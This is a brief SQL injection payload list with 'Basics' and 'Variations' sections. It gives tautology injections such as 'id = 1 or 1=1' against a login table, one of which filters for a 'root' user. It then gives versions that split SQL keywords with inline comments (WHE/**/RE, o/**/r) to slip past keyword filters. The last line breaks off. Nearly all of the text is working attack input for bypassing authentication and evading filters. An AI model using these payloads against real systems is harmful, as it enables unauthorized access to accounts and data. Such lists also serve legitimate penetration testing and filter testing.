Basics.
SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE “%root%”
Variations.
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE …